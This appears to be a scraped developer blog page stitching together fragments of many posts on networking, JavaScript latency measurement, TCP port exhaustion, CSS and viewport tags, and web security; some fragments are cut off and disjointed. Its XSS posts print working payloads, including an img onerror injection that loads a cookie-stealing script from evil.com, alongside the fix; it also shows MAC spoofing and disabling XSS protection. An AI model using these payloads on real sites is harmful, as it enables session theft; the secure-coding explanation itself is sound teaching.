![[philiptellis]](https://en.gravatar.com/userimage/3079306/f13167d69aa4e1cb5e5f131af4e38e3e.jpeg)
/bb|[^b]{2}/
Never stop Grokking
curl "http://\[2600:xxx:yyy::zzz\]/page.html"The square brackets are required to tell curl that it's an IPv6 address and not a host:port pair. The quotes are required to stop the shell from treating the square brackets as a glob. The backslash is required to stop curl from treating the square brackets as a range specification. The
http:// is optional, but good form.
This isn't required if you use a hostname or an IPv4 address.
mplayer -ss 0.5 -endpos 1:14 -ao pcm:file="newfile.wav" oldfile.mp3This is how it works:
-ss says how many seconds of the file to skip at the start. If you don't know the time, but the number of bytes instead, use -sb instead. Note that -ss only works with seconds, but accepts fractional seconds.
-endpos says at what point to stop playing. This accepts time as hh:mm:ss.ms or in bytes. If you specify only one number, it's seconds.
-ao is a special instruction that specifies a plugin, and everything following the plugin are plugin specific options. pcm is the format for wave files. You could use any format you like. mplayer -ao help will tell you which codecs are supported. I haven't figured out all the suboptions for pcm yet.
As Web developers, we have an affinity for developing with JavaScript. Whatever the language used in the back end, JavaScript and the browser are the primary language-platform combination available at the user’s end. It has many uses, ranging from silly to experience-enhancing.
In this post, we’ll look at some methods of manipulating JavaScript to determine various network characteristics from within the browser — characteristics that were previously available only to applications that directly interface with the operating system. Much of this was discovered while building the Boomerang project to measure real user performance.
The network has many layers, but the Web developers among us care most about HTTP, which runs over TCP and IP (otherwise known jointly as the Internet protocol suite). Several layers are below that, but for the most part, whether it runs on copper, fiber or homing pigeons does not affect the layers or the characteristics that we care about.
Network latency is typically the time it takes to send a signal across the network and get a response. It’s also often called roundtrip time or ping time because it’s the time reported by the ping command. While this is interesting to network engineers who are diagnosing network problems, Web developers care more about the time it takes to make an HTTP request and get a response. Therefore, we’ll define HTTP latency as the time it takes to make the smallest HTTP request possible, and to get a response with insignificant server-processing time (i.e. the only thing the server does is send a response).
Cool tip: Light and electricity travel through fiber and copper at 66% the speed of light in a vacuum, or 20 × 108 metres per second. A good approximation of network latency between points A and B is four times the time it takes light or electricity to travel the distance. Greg’s Cable Map is a good resource to find out the length and bandwidth of undersea network cables. I’ll leave it to you to put these pieces together.
Network throughput tells us how well a network is being utilized. We may have a 3-megabit network connection but are effectively using only 2 megabits because the network has a lot of idle time.
DNS is a little different from everything else we care about. It works over UDP and typically happens at a layer that is transparent to JavaScript. We’ll see how best to ascertain the time it takes to do a DNS lookup.
There is, of course, much more to the network, but determining these characteristics through JavaScript in the browser gets increasingly harder.
My first instinct was that measuring latency simply entailed sending one packet each way and timing it. It’s fairly easy to do this in JavaScript:
var ts, rtt, img = new Image;
img.onload=function() { rtt=(+new Date - ts) };
ts = +new Date;
img.src="/1x1.gif";We start a timer, then load a 1 × 1 pixel GIF and measure when its onload event fires. The GIF itself is 35 bytes in size and so fits in a single TCP packet even with HTTP headers added in.
This kinda sorta works, but has inconsistent results. In particular, the first time you load an image, it will take a little longer than subsequent loads — even if we make sure the image isn’t cached. Looking at the TCP packets that go across the network explains what’s happening, as we’ll see in the following section.
When loading a Web page or image or any other Web resource, a browser opens a TCP connection to the specified Web server, and then makes an HTTP GET request over this connection. The details of the TCP connection and HTTP request are hidden from users and from Web developers as well. They are important, though, if we need to analyze the network’s characteristics.
The first time a TCP connection is opened between two hosts (the browser and the server, in our case), they need to “handshake” This takes place by sending three packets between the two hosts. The host that initiates the connection (the browser in our case) first sends a SYN packet, which kind of means, “Let’s SYNc up. I’d like to talk to you. Are you ready to talk to me?” If the other host (the server in our case) is ready, it responds with an ACK, which means, “I ACKnowledge your SYN.” And it also sends a SYN of its own, which means, “I’d like to SYNc up, too. Are you ready?” The Web browser then completes the handshake with its own ACK, and the connection is established. The connection could fail, but the process behind a connection failure is beyond the scope of this article.
Once the connection is established, it remains open until both ends decide to close it, by going through a similar handshake.
When we throw HTTP over TCP, we now have an HTTP client (typically a browser) that initiates the TCP connection and sends the first data packet (a GET request, for example). If we’re using HTTP/1.1 (which almost everyone does today), then the default will be to use HTTP keep-alive (Connection: keep-alive). This means that several HTTP requests may take place over the same TCP connection. This is good, because it means that we reduce the overhead of the handshake (three extra packets).
Now, unless we have HTTP pipelining turned on (and most browsers and servers turn it off), these requests will happen serially.
We can now modify our code a bit to take the time of the TCP handshake into account, and measure latency accordingly.
var t=[], n=2, tcp, rtt;
var ld = function() {
t.push(+new Date);
if(t.length > n)
done();
else {
var img = new Image;
img.onload = ld;
img.src="/1x1.gif?" + Math.random()
+ '=' + new Date;
}
};
var done = function() {
rtt=t[2]-t[1];
tcp=t[1]-t[0]-rtt;
};
ld();With this code, we can measure both latency and the TCP handshake time. There is a chance that a TCP connection was already active and that the first request went through on that connection. In this case, the two times will be very close to each other. In all other cases, rtt, which requires two packets, should be approximately 66% of tcp, which requires three packets. Note that I say “approximately,” because network jitter and different routes at the IP layer can make two packets in the same TCP connection take different
lengths of time to get through.
You’ll notice here that we’ve ignored the fact that the first image might have also required a DNS lookup. We’ll look at that in part 2.
Again, our first instinct with this test was just to download a large image and measure how long it takes. Then size/time should tell us the throughput.
For the purpose of this code, let’s assume we have a global object called image, with details of the image’s URL and size in bits.
// Assume global object
// image={ url: "", size: "" }
var ts, rtt, bw, img = new Image;
img.onload=function() {
rtt=(+new Date - ts);
bw = image.size*1000/rtt; // rtt is in ms
};
ts = +new Date;
img.src=image.url;Once this code has completed executing, we should have the network throughput in kilobits per second stored in bw.
Unfortunately, it isn’t that simple, because of something called TCP slow-start.
In order to avoid network congestion, both ends of a TCP connection will start sending data slowly and wait for an acknowledgement (an ACK packet). Remember than an ACK packet means, “I ACKnowledge what you just sent me.” Every time it receives an ACK without timing out, it assumes that the other end can operate faster and will send out more packets before waiting for the next ACK. If an ACK doesn’t come through in the expected timeframe, it assumes that the other end cannot operate fast enough and so backs off.
This means that our throughput test above would have been fine as long as our image is small enough to fit within the current TCP window, which at the start is set to 2. While this is fine for slow networks, a fast network really wouldn’t be taxed by so small an image.
Instead, we’ll try by sending across images of increasing size and measuring the time each takes to download.
For the purpose of the code, the global image object is now an array with the following structure:
var image = [
{url: ..., size: ... }
];An array makes it easy to iterate over the list of images, and we can easily add large images to the end of the array to test faster network connections.
var i=0;
var ld = function() {
if(i > 0)
image[i-1].end = +new Date;
if(i >= image.length)
done();
else {
var img = new Image;
img.onload = ld;
image[i].start = +new Date;
img.src=image[i].url;
}
i++;
};Unfortunately, this breaks down when a very slow connection hits one of the bigger images; so, instead, we add a timeout value for each image, designed so that we hit upon common network connection speeds quickly. Details of the image sizes and timeout values are listed in this spreadsheet.
Our code now looks like this:
var i=0;
var ld = function() {
if(i > 0) {
image[i-1].end = +new Date;
clearTimeout(image[i-1].timer);
}
if(i >= image.length ||
(i > 0 && image[i-1].expired))
done();
else {
var img = new Image;
img.onload = ld;
image[i].start = +new Date;
image[i].timer =
setTimeout(function() {
image[i].expired=true
},
image[i].timeout);
img.src=image[i].url;
}
i++;
};This looks much better — and works much better, too. But we’d see much variance between multiple runs. The only way to reduce the error in measurement is to run the test multiple times and take a summary value, such as the median. It’s a tradeoff between how accurate you need to be and how long you want the user to wait before the test completes. Getting network throughput to an order of magnitude is often as close as you need to be. Knowing whether the user’s connection is around 64 Kbps or 2 Mbps is useful, but determining whether it’s exactly 2048 or 2500 Kbps is much less useful.
That’s it for part 1 of this series. We’ve looked at how the packets that make up a Web request get through between browser and server, how this changes over time, and how we can use JavaScript and a little knowledge of statistics to make educated guesses at the characteristics of the network that we’re working with.
In the next part, we’ll look at DNS and the difference between IPv6 and IPv4 and the WebTiming API. We’d love to know what you think of this article and what you’d like to see in part 2, so let us know in a comment.
Until then, check out the references.
I've been trying to run load tests against a node.js web app that I'm working on. I've hacked up my app to log (every 5 seconds) the number of requests per second that it handles and the amount of memory that it uses. I saw some strange numbers. I should also mention that I was using ab to throw load at the server. Perhaps not the best load tester around, but it served my purpose for this particular test.
My app started out well, handling about 1500 requests per second, but then all of a sudden it would stop serving requests. With repeated runs, the point where it would stop was always around 16K connections... in fact, it always hovered around 16384, mostly staying below, but sometimes going above it a bit (eg: 16400).
To those of you familiar with TCP networking, you'll recognise that value as the IANA specified number of Ephemeral Ports (49152 to 65535).
I started to log the state of all TCP connections every second using the following shell script (split onto multiple lines for readability):
while true; do
echo -n "$( date +%s ) ";
netstat | \
awk '$4~/\.http-alt/ { conn[$6]++ }
END {
for(c in conn) {
printf("%s: %d\t", c, conn[c]);
}
printf("\n");
}
';
sleep 1;
done
This is the output it returned:
1315341300 TIME_WAIT: 209 ESTABLISHED: 100 1315341301 FIN_WAIT_1: 4 FIN_WAIT_2: 4 TIME_WAIT: 1892 ESTABLISHED: 92 1315341302 FIN_WAIT_1: 1 FIN_WAIT_2: 2 TIME_WAIT: 3725 ESTABLISHED: 97 1315341303 FIN_WAIT_2: 2 TIME_WAIT: 5426 ESTABLISHED: 97 1315341304 FIN_WAIT_1: 1 FIN_WAIT_2: 5 TIME_WAIT: 7017 ESTABLISHED: 94 1315341305 TIME_WAIT: 8722 ESTABLISHED: 100 1315341306 FIN_WAIT_1: 2 TIME_WAIT: 10459 ESTABLISHED: 98 1315341308 FIN_WAIT_1: 3 FIN_WAIT_2: 3 TIME_WAIT: 12246 ESTABLISHED: 94 1315341309 FIN_WAIT_1: 7 TIME_WAIT: 14031 ESTABLISHED: 93 1315341310 FIN_WAIT_1: 3 TIME_WAIT: 15937 ESTABLISHED: 97 1315341311 TIME_WAIT: 16363 1315341312 TIME_WAIT: 16363 1315341314 TIME_WAIT: 16363 1315341315 TIME_WAIT: 16363 1315341316 TIME_WAIT: 16363 1315341317 TIME_WAIT: 16363 1315341318 TIME_WAIT: 16363 1315341319 TIME_WAIT: 16363 1315341321 TIME_WAIT: 16363 1315341322 TIME_WAIT: 16363 1315341323 TIME_WAIT: 16363 1315341324 TIME_WAIT: 16363 1315341325 TIME_WAIT: 16363 1315341326 TIME_WAIT: 16363 1315341328 TIME_WAIT: 16363 1315341329 TIME_WAIT: 16363 1315341330 TIME_WAIT: 16363 1315341331 TIME_WAIT: 14321 1315341332 TIME_WAIT: 12641 1315341333 TIME_WAIT: 11024 1315341334 TIME_WAIT: 9621 1315341336 TIME_WAIT: 7516 1315341337 TIME_WAIT: 5920 1315341338 TIME_WAIT: 4227 1315341339 TIME_WAIT: 2693 1315341340 TIME_WAIT: 1108 1315341341 TIME_WAIT: 23There are a few things to note here.
ab with concurrency set to 100, so the number of connections in the ESTABLISHED, and FIN_WAIT_{1,2} states should be about 100 for the most partSYN_SENT state to TIME_WAIT in less than 1 second.
It's pretty clear here that everything just stops once the number of connections reaches 16363, and my app's logs confirm that. ab ends up timing out somewhere near the end of this report (which should probably be the subject of a different blog post).
Now if we look closely, we notice that it takes 30 seconds from the first result we see to when the number of connections in the TIME_WAIT state start dropping below 16363
FIN will end up in a TIME_WAIT state. I'll tell you later why this is importantTIME_WAIT state for twice the connection's MSL (See RFC793)So we now have a whole load of TCP connections in the TIME_WAIT state and the client (the load tester) has run out of ephemeral ports to keep running the test. This is independent of the load tester used, and how it handles its sockets (poll, select, multiple threads, multiple processes, whatever). This is a limit imposed by the Operating System in order to comply with the TCP spec, and in general make sure the internet doesn't break.
Now there are various ways to get around this limit. The simplest is to just use multiple boxes to run your performance test all simultaneously hitting your server. The more boxes you use, the more likely it is that your server will break down before your client hits the port limit. But what if you don't have access to so many boxes (in a world without EC2 for example), or it's too expensive, or you're not utilising the other resources (CPU/RAM/Network Interface) on your client boxes and would like to get a little more out of them?
You could program your load tester to use SO_REUSEADDR, which would allow it to reuse sockets that are in the TIME_WAIT state, but that could backfire if there's still data on the network.
Now remember that TIME_WAIT is twice the MSL. RFC793 recommends setting the MSL to 2 minutes, which would leave TIME_WAIT at 4 minutes. Luckily no current implementation uses this value. Linux has its TIME_WAIT length hardcoded to 60 seconds (implying a 30 second MSL), while BSD has set to 15 seconds (sysctl net.inet.tcp.msl) and tunable at run time.
To verify, I reran the test after setting the MSL to 5 seconds:
sudo sysctl -w net.inet.tcp.msl=5000
And these were the results:
1315344661 TIME_WAIT: 1451 ESTABLISHED: 100 1315344662 FIN_WAIT_2: 5 TIME_WAIT: 3272 ESTABLISHED: 95 1315344664 FIN_WAIT_1: 1 TIME_WAIT: 5010 ESTABLISHED: 99 1315344665 TIME_WAIT: 6574 ESTABLISHED: 100 1315344666 FIN_WAIT_1: 11 FIN_WAIT_2: 2 TIME_WAIT: 7908 ESTABLISHED: 87 1315344667 TIME_WAIT: 9689 ESTABLISHED: 100 1315344668 TIME_WAIT: 11155 ESTABLISHED: 100 1315344669 FIN_WAIT_1: 3 TIME_WAIT: 12522 ESTABLISHED: 97 1315344671 FIN_WAIT_2: 2 TIME_WAIT: 13655 ESTABLISHED: 98 1315344672 FIN_WAIT_1: 4 FIN_WAIT_2: 12 TIME_WAIT: 13847 ESTABLISHED: 84 1315344673 FIN_WAIT_1: 2 TIME_WAIT: 13218 ESTABLISHED: 98 1315344674 FIN_WAIT_1: 2 TIME_WAIT: 13723 ESTABLISHED: 97 1315344675 FIN_WAIT_1: 2 TIME_WAIT: 14441 ESTABLISHED: 98 1315344677 FIN_WAIT_1: 4 FIN_WAIT_2: 6 TIME_WAIT: 13946 ESTABLISHED: 90 1315344678 FIN_WAIT_1: 3 FIN_WAIT_2: 15 TIME_WAIT: 14670 ESTABLISHED: 82 1315344679 FIN_WAIT_1: 2 TIME_WAIT: 15164 ESTABLISHED: 98 1315344680 FIN_WAIT_1: 2 TIME_WAIT: 15062 ESTABLISHED: 98 1315344681 TIME_WAIT: 15822 ESTABLISHED: 100 1315344683 FIN_WAIT_1: 4 TIME_WAIT: 15855 ESTABLISHED: 82 1315344684 FIN_WAIT_1: 15 TIME_WAIT: 15506 ESTABLISHED: 84 1315344685 FIN_WAIT_2: 9 TIME_WAIT: 15928 ESTABLISHED: 91 1315344687 FIN_WAIT_1: 4 TIME_WAIT: 15356 ESTABLISHED: 96 1315344688 FIN_WAIT_1: 2 FIN_WAIT_2: 8 TIME_WAIT: 15490 ESTABLISHED: 90 1315344689 FIN_WAIT_1: 1 TIME_WAIT: 15449 ESTABLISHED: 99 1315344690 FIN_WAIT_1: 3 TIME_WAIT: 15801 ESTABLISHED: 97 1315344692 FIN_WAIT_1: 1 TIME_WAIT: 15882 ESTABLISHED: 70 1315344693 FIN_WAIT_1: 3 TIME_WAIT: 16106 ESTABLISHED: 56 1315344694 FIN_WAIT_1: 3 TIME_WAIT: 15637 ESTABLISHED: 2 1315344695 TIME_WAIT: 14166 1315344697 TIME_WAIT: 12588 1315344698 TIME_WAIT: 10454 1315344699 TIME_WAIT: 8917 1315344700 TIME_WAIT: 7441 1315344701 TIME_WAIT: 5735 1315344702 TIME_WAIT: 4119 1315344703 TIME_WAIT: 1815 1315344704 TIME_WAIT: 88
The test runs longer here because it actually gets to 50000 connections. We're doing about 1500 requests per second, so it would take just under 11 seconds to exhaust all 16384 ports, but since ports are reusable in 10 seconds, we would have reclaimed the first 3000 ports in this time and then just continue to use them.
Here's the catch though, you can only do this on BSD. Linux doesn't let you change the MSL. Also, DO NOT DO THIS IN PRODUCTION!
Now I mentioned earlier that only the endpoint that sends the first FIN packet will enter the TIME_WAIT state. This is important because in production, you really do not want your server to end up with a lot of connections in the TIME_WAIT state. A malicious user could, for example, make a large number of HEAD requests to your server, and either wait for them to terminate, or specify Connection:close but leave the connection open for your server to close by sending the first FIN packet.
How do you deal with this?
npm, which is a plus. It also distinguishes between creating a document with and without an id, which may be required in my use case.navtiming.js plugin, boomerang will beacon back the entire navigation timing object for browsers that support it (Chrome 6+ and IE 9+ and Firefox 6+ at this time). Use this information to gain far more insight into the user's browsing experience.ipv6.js plugin will help you find out if your users can access content over IPv6 and how that latency compares to whatever you currently provide. This does require server side setup though.hello-dolly, your URL would be http://scrumy.com/hello-dolly/window.projectName="hello-dolly";Change the URL to
http://scrumy.com/%22%3balert(0)%3b%22 and this is what gets written into the page:window.projectName="";alert(0);"";Resulting in an XSS.
I am very new to all this. Although I was a programmer years ago, I was away from computers for about 20 years. I have been on the internet for about 14 months - with no previous internet experience. I got Puppy Linux up and running less than 6 months ago - no previous linux / unix experience. I've been using chat rooms about two months - again with no previous experience. I only use irc.FreeNode.net and I access almost exclusively the Puppy Linux chat rooms.He proceeded to explain how he uses IRC, first with xchat[4], and then with ayttm. He went into great detail, starting from how he launched the program to how he got to his final intended task, how much time it took him to cover each task, the problems he saw along the way, the kind of internet connection he was using, and finally some suggestions and opinions. For each of them he explained how it would help him and others like him, and how important it was to him relative to the other problems he saw.
I need to give you this background so that you will know that there is a very good chance that I will think the program needs work when the truth is that the user's inexperience is the real problem.
... I am amazed at the level of functionality you have put into a small package. Please keep up the good work.In all, his email worked out to 5 printed pages.
I hope you find something of use in all this,
George
- /* get list of channels */
- ret = sendall(ila->fd, "LIST\n", strlen("LIST\n"));
-
+ /* get list of channels commented out GWB per PST 7Jun2008
+ * ret = sendall(ila->fd, "LIST\n", strlen("LIST\n"));
+ *
+ * and following line added
+ */
+ irc_finish_login(ila);
Not a big deal you might think. It actually cuts out a feature in fact. But what it really does, is allow someone to use ayttm for IRC without timing out. So, sure, he used spaces instead of tabs for indentation, but that was fine. The most important thing is that he was now so invested in this, and he'd got his foot in the door, he didn't want to stop.... I have made some changes to offline_queue_mgmt.c. The diff file is attached.Again, there's that bit of humour in there that suggests he's having fun doing this. Happy developers write good code. His patch got in.
Bluesmoon says that with my changes he always gets auto logged in. My own results are more random, although I sometimes get autolog. I suspect Ayttm? recognizes bluesmoon by his keyboard touch and remembers him fondly ( he is a former Ayttm? developer ), and treats him better than me.
Siddhesh,
As you know, I have been downloading the latest source and testing it almost as quickly as you commit. I have been testing your tagged branch libirc-mod. I thought I'd take a minute to document the current Ayttm? status....
This was just posted on the Puppy Linux lead developer's blog.Indeed, George was way more pleased than we were. I'd guess it had to do with seeing two projects that he cared deeply about getting so closely coupled. Almost like watching two of your close friends getting hitched. The ayttm dev team still knew very little about Puppy Linux (I was a RHEL & Ubuntu user, and Siddhesh worked at RedHat). George, on the other hand, made it happen.
Ayttm will be builtin in the next alpha release of Puppy Linux.
Feels like a big win to me - I don't know why - I didn't write it.
"twitterApiBase":"http://api.twitter.com" "apiBase":"http://api.local.twitter.com:9000" "twitterBase":"http://twitter.com" "mobileBase":"http://mobile.twitter.com"I haven't examined the code in detail to see how these are used, but it seems to suggest that at least some calls are going out over http, and since they're all on the twitter.com domain, your twitter cookies get sent along.
httptype was born.mkdir pngtocss cd pngtocss git init mkdir srcAnd then started on a bit of research. First to find out how to read in a PNG.
man at hand helped things move along and I was soon up to speed.s = ut + ½at²For a simple two colour gradient, there's no acceleration, and the velocity u is the difference in the two colours divided by the number of pixels in that direction. This is the same as the difference in colour of adjacent pixels (colour differential per unit pixel).
<script> node. There are a few that work through iframes, and while there are still a few issues with that, the script nodes are the ones that can do you the most damage.In my last post, I showed off some CSS fun with border-radius and overflow:hidden. Truth be told, that post started out about a bug with WebKit based browsers in relation to those attributes, but when I got down to writing the post, I couldn't reproduce the bug. Today, while trying to animate it, I managed to isolate the problem, and it turns out that I'm not the only one.
The problem in brief is that the contents of a container with overflow:hidden will still overflow its border if you have border-radius set and position set to anything other than static. Bug 50072 on WebKit describes a similar issue in more detail, and I've posted my comments at the bottom of that bug. I've created a minimal test case on JSFiddle.
The problem only shows up when you set the container's position style attribute to something other than static (which is the default).
I've tested in the latest versions of Firefox, Chrome, Safari and Opera, and Firefox is the only one that renders it correctly.
Now before you go asking me to test on the latest WebKit, rest assured that it's compiling as I write this. I'll try and submit a fix if it still exists and I can figure out what needs patching, but given that position:static works correctly, it may just be a matter of seeing what's different with those two flows.
Update 2016-10-28: This appears to be fixed on the latest versions of Chrome, Firefox, Safari and Opera:
overflow:hidden on a container element? At which pixel point do the element's contents get hidden? Is it at the padding, the inside of the border, the outside of the border, the outline or somewhere else?Other effects that clip to the border or padding edge (such as ‘overflow’ other than ‘visible’) also must clip to the curve.With that in mind, I decided to throw rounded corners into the fray and have some fun:
sudo ifconfig <iface> upWhere
iface is the network interface. This should be something like en0 for the ethernet port on MacOSX, or eth0 for a linux box, etc. If you're not sure, just run the ifconfig command without any arguments... although if you're not sure, you probably shouldn't be doing this anyway ;)sudo ifconfig en0 ether <new MAC address>This works even if you're currently connected to a network.
en1 interface:sudo ifconfig en1 ether <new MAC address>You can now reconnect to any wireless network.
X-XSS-Protection: 0How you do that depends on the server you're using. For apache, you'd add this to one of your apache conf files:
Header add X-XSS-Protection 0TTYL
Ɖ == Ɖ Ɖ == Ɖ ‡ == ‡
== \u2021
== \2021(Note: the CSS example that I've used here only works in browsers that support the
:before pseudo class and the content rule, but in general you can use unicode characters anywhere in CSS.)‡ == %E2%80%A1 л == %D0%BB ' == %39This is not something that you want to do by hand, so use a library to do the conversion. In JavaScript, you can use the
encodeURI or encodeURIComponent functions to do this for you./* Default wide-screen styles */
@media all and (max-width: 1024px) {
/* styles for narrow desktop browsers and iPad landscape */
}
@media all and (max-width: 768px) {
/* styles for narrower desktop browsers and iPad portrait */
}
@media all and (max-width: 480px) {
/* styles for iPhone/Android landscape (and really narrow browser windows) */
}
@media all and (max-width: 320px) {
/* styles for iPhone/Android portrait */
}
@media all and (max-width: 240px) {
/* styles for smaller devices */
}
And yes, you could go smaller than that, or have intermediate sizes, but I'll cover that later.viewport6, 7, 8 meta tag in your document's head in conjunction with @media queries9:<meta name="viewport" content="...">I've left the content attribute empty for now because this is where I see confusion... which is what we'll talk about now.
width=device-width. This tells the browser to assume that the page is as wide as the device. Unfortunately, this is only true when your device is in the portrait orientation. When you rotate to landscape, the device-width remains the same (eg: 320px), which means that even if your page were designed to work well in a 480px landscape design, it would still be rendered as if it were 320px.orientation media query to solve this problem, but orientation doesn't really tell you the actual width of the device. All it tells you is whether the width is larger than or smaller than the device's height. As ppk points out5, since most pages tend to scroll vertically, this is irrelevant.initial-scale=1 tells the browser not to zoom in or out regardless of what it thinks the page width is. This is good when you've designed your page to fit different widths since the browser will use the appropriate CSS rules for its own width, and initial-scale stops the zooming problem that we faced without the viewport meta tag.initial-scale is honoured only on full page load. On rotate from portrait to landscape mode, the browser assumes that the page width stays the same and scales accordingly (1.5) to make 320 pixels fit into 480pixels. However, as far as @media queries go, it reports a 480px width, and uses the appropriate CSS rules to render the page. This results in a page designed for 480px rendered scaled up 1.5 times. It's not horrible, but it's not desirable. Fennec claims8 that it does the right thing in this case. The Android emulator is impossible to work with and I haven't tested on mobile Opera yet.maximum-scale=1. This stops the page zoom in on rotate, but it has the undesired side effect of preventing the user from zooming the page. This is a problem from the accessibility point of view. Zooming in is a very valid use case for users with bad eyesight, and in some cases, even users with good eyesight who just want a closer look at some part of your page. Do this only if you hate your users. It goes without saying that setting user-scalable=no should also not be used on most general purpose pages.width=device-width. This way even if it does zoom, it will still be proportionate. See Lanyrd10 for an example of this design.the device-width media feature describes the width of the rendering surface of the output device. For continuous media, this is the width of the screen. For paged media, this is the width of the page sheet size.orientation media feature. Never use max-device-width and min-device-width. It's better to use max-width and min-width instead. Also remember that device widths may change with newer models. You want your design to be future proof.<?php
$s = filter_var($_GET['s'], FILTER_SANITIZE_SPECIAL_CHARS);
?>
<script>
var s = "<?php echo $s; ?>";
var div = document.getElementById("content");
div.innerHTML = s;
</script>
From the HTML perpective, this code appears clean. Data from the URL parameter s needs to be written out to HTML and we're applying a suitable filter to it to make it safe for use in that context. This code would be fine if we were passing the data directly from PHP to HTML, but that's not what we're doing here.s. The output of our PHP becomes:<script>
var s = "...\";
var div = document.getElementById("content");
div.innerHTML = s;
</script>
The result is that our JavaScript terminates with an error after line 1, and that's the end of it... but maybe not.\u<codepoint>. This still doesn't help us get out of the quotes in JavaScript, but it does mess around with the innerHTML.innerHTML is to HTML what eval() is to JavaScript and PHP — a bad idea.\u003cscript+src\u003d\u0022http://evil.com/cookie-steal.js\u0022\u003e\u003c/script\u003e<script src="http://evil.com/cookie-steal.js"></script>Fortunately, browsers won't execute script nodes that were added using innerHTML. They will, however execute inline events on elements added through innerHTML, so we do this instead:
\u003cimg+src\u003dblah+onerror\u003d\u0022s=document.createElement(\u0027script\u0027);s.src\u003d\u0027http://evil.com/cookie-steal.js\u0027;document.body.appendChild(s);\u0022\u003e, which translates to the following HTML (indented for readability):<img src=blah
onerror="s=document.createElement('script');
s.src='http://...';
document.body.appendChild(s);">
The JavaScript fires in most cases. To get it to fire in all cases, you also need to attach to the onload event.<?php
$s = filter_var($_GET['s'], FILTER_SANITIZE_SPECIAL_CHARS);
?>
<script>
var s = <?php echo json_encode($s); ?>
var div = document.getElementById("content");
div.innerHTML = s;
</script>
The json_encode function returns a quoted JavaScript string. It correctly escapes all characters within that string that are special to JavaScript, so in our case, \u00xx turns into \\u00xx. Note that addslashes is insufficient as it does not escape newline characters which are valid inside PHP strings.
...===...